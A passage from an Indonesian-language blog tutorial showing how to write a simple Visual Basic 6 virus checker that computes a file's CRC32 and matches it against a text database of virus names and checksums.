If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
Coba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.
  • Second

Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file
Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (- diberi nama module1) lalu isi dengan kode :
================= START HERE ====================
Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus
Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita
Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function
================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :
================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1)) As Byte ‘deklarasi ulang untuk array
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
Selamat mencoba dan semoga sukses,, ,, ,
tunggu update selanjut nya ya kawan ,
jangan lupa tinggalkan komentar!ok!